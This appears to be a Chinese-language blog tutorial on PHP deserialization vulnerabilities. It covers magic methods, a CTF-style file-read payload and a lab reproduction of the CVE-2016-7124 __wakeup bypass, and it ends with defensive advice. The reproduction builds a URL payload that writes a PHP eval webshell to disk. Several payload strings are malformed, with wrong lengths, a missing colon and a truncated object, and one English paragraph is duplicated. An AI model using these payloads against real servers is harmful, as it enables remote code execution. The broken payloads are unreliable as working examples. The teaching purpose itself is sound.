0%

理解PHP反序列化原理及利用

0x01 原理解释

PHP的反序列化漏洞其实是PHP对象的属性篡改漏洞。漏洞的成因在于代码中unserialize的参数不可控。导致服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进魔术方法里面执行以实现攻击.

PHP unserialization vulnerability is actually a PHP object property tamper vulnerability.The cause of the vulnerability is that the parameters of unserialize in the code are not controllable.The server was able to receive the deserialized string and unfiltered its variables directly into the magic method to execute the attack.**PHP deserialization vulnerability ** is actually a PHP object property tamper vulnerability.The cause of the vulnerability is that the parameters of unserialize in the code are not controllable.The server was able to receive the deserialized string and unfiltered its variables directly into the magic method to execute the attack.

1. 基础知识

  1. php源码同python一样是由c所写
  2. 可以序列化的对象都可以反序列化
  3. 序列化只序列化对象的属性,不序列化方法
  4. 如果希望PHP调用魔术方法,必须首先在类中定义,否则PHP不会执行未创建的魔术方法。
  5. 序列化后包括,类为object,类长度为4,名为test,包含3个属性:
    第一个属性为string,长度为10,名为testflag;值长度为6,名为active;因为prvate,故而序列化后,原名test被更改
    第二个同上; 因为protected,故而序列化后,原名前加*
    第三个同上; 因为public,故而序列化后,原名不变

    private序列化后格式:\x00+类名+\x00+属性名

    protected序列化后格式:\x00+*+\x00+属性名
  6. 可能有人会问为什么要序列化,因为要使复杂数据写入进程间内存、文件或数据库更容易。所以采取序列化,将复杂的数据结构(对象及其属性)转换成“更扁平”的格式,作为字节顺序流传输。而反序列化将字节流还原为原始对象,方便与网站逻辑交互。

2. 魔术方法

魔术方法(按照常见度排序):以两个下划线__开头,包括:
(1)__construct(),类的构造函数,当对象创建时会自动调用(但在unserialize()时是不会自动调用的)
(2)__sleep(),执行serialize()时,先会调用这个函数
(3)__wakeup(),unserialize()时,先会调用这个函数
(4)__destruct(),类的析构函数,当对象被销毁时会自动调用
(5)__toString(),类被当成字符串时的回应方法。当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(6)__get(),获得一个类的成员变量时调用。当从不可访问的属性读取数据
(7)__call(),在对象中调用一个不可访问方法时调用
(8)__callStatic(),用静态方式中调用一个不可访问方法时调用
(9)__set(),设置一个类的成员变量时调用


其中,__toString()触发条件较多,包括以下:

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

3. 序列化与反序列化

序列化$data并输出到serialize.txt文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test {
private $flag = 'Inactive';
protected $test = 'test';
public $test1 = 'test1';

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
$object = new test();
$object->set_flag('active');
$data = serialize($object);
file_put_contents("serialize.txt",$data);
echo $data;

反序列化serialize.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test
{
private $flag = 'Inactive';
protected $test = "test";
public $test1 = "test1";
public function set_flag($flag)
{
$this->flag = $flag;
}

public function get_flag()
{
return $this->flag;
}
}
$data = file_get_contents("serialize.txt");
$data = unserialize($data);
echo $data->test1."<br>";
echo $data->get_flag(); // correspond to serialize.php

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class swanQ
{
private $name = 'swanQ';
function __construct()
{
echo "__construct";
echo "</br>";
}

function __sleep()
{
echo "__sleep";
echo "</br>";
return array('name'); //**
}
function __wakeup()
{
echo "__wakeup";
echo "</br>";
}
function __destruct()
{
echo "__destruct";
echo "</br>";
}
function __toString(){
return "__toString"."</br>";
}
}

$object = new swanQ();

$data = serialize($object);
$object1 = unserialize($data);
print $object1;


新建一个对象时,会自动调用__construct()方法,
执行serialize前,会先调用共__sleep()方法
执行unserialize前,会先调用__wakeup()方法
__destruct()了两次说明,当前有两个对象,一个是将类实例化为对象的时候产生的,一个是反序列化后生成的对象。

4.攻击示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag is in ctf.php
class Shield{
public $file;
function __construct($filename = ''){
$this->file = $filename;
}
function readfile(){
if (!empty($this->file) && stripos($this->file,'..') === FALSE
&& stripos($this->file,'/') === FALSE && stripos($this->file,'\\')===FALSE){
return @file_get_contents($this->file);
}
}
}

shield.php,类中存在属性$file,且file会调用__construct方法。所以我们利用file即可。

1
2
3
4
5
6
7
8
<?php
require_once ('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)){
$x = unserialize($g);
}
echo $x->readfile();

包含shield.php,new实例时会调用__construct()方法,然后接收用户的反序列化并输出。
payload:直接构造序列化对象作为file的内容,O:6:”Shield”:1{s:4:”file”;s:8:”ctf.php”;}

0x02 php绕过__wakeup: CVE-2016-7124

1.漏洞原理

执行unserialize恢复对象时,会先调用__wakeup()成员函数, 但是当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。

漏洞概述: wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞
漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过

2.漏洞复现

  • 漏洞影响版本:
    PHP5 < 5.6.25
    PHP7 < 7.0.10

  • 复现环境

    php5.4.5nts+apache+mysql(phpstudy)

    phpinfo环境搭建成功,其中test.php,233.php均在www目录下。

  • 编写测试脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php

    class test{
    public $name = "fairy";
    public function __wakeup(){
    echo "this is wakeup<br>";
    }
    public function __destruct(){
    echo "this is destruct<br>";
    }
    }

    $str = $_GET["s"];
    @$un_str = unserialize($str);

    echo $un_str->name."<br>";

    ?>

    接收参数s,将其反序列化后输出属性name的值。

编写POC访问该脚本

1
http://localhost/test.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}

反序列化之前先调用了__wakeup方法,再调用__destruct方法。

构造payload将传入的序列化数据的对象变量个数由1加至2,绕过__wakeup方法执行。–反序列化数据失败无法创建对象的原因

1
2
O:4:"test":1:{s:4:"name";s:5:"fairy";
O:4:"test":2:{s:4:"name";s:5:"fairy";

页面只执行__destruct方法,没有输出name,是因为反序列化数据失败,导致无法创建对象。

修改测试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class test{
public $name = "fairy";

public function __wakeup(){
echo "this is wakeup<br>";
foreach(get_object_vars($this) as $k => $v){
$this->$k = null;
}
}
public function __destruct(){
echo "this is destruct<br>";
$fp = fopen("D:\\phpstudy\\PHPTutorial\\WWW\\233.php","w");
fputs($fp,$this->name);
fclose($fp);
}
}

$str = $_GET["s"];
@$un_str = unserialize($str);

echo $un_str->name."<br>";
?>

构造POC写入一句话木马:

1
http://localhost/test.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>

此时调用destruct方法会将name参数写入233.php文件,但windows弹窗自动禁止。

一句话木马被写入233.php。

0x03 寻找php反序列化漏洞的流程

  • 寻找unserialize()函数的参数是否有可控点
  • 寻找存在wakeup()或destruct()魔术方法的类
  • 逐层研究该类在魔术方法种使用的属性及属性调用的方法,看是否有在当前调用种可以触发的可控属性
  • 复制部分代码,构造序列化攻击

如何防止

一般而言,除非绝对必要,否则应避免对用户输入进行反序列化。

在开始反序列化之前,必须进行检查。如果确实需要反序列化来自不受信任来源的数据,请采用措施以确保数据未被篡改。如可以使用数字签名来检查数据的完整性。

避免完全使用通用的反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段。可以创建自己的特定于类的序列化方法,以便至少可以控制公开哪些字段。

参考

[1] 深入理解PHP反序列化漏洞:https://www.k0rz3n.com/2018/11/19/
[2] CVE-2016-7124——php绕过__wakeup():http://www.cl4y.top/521/

你想在文章末尾对读者说的话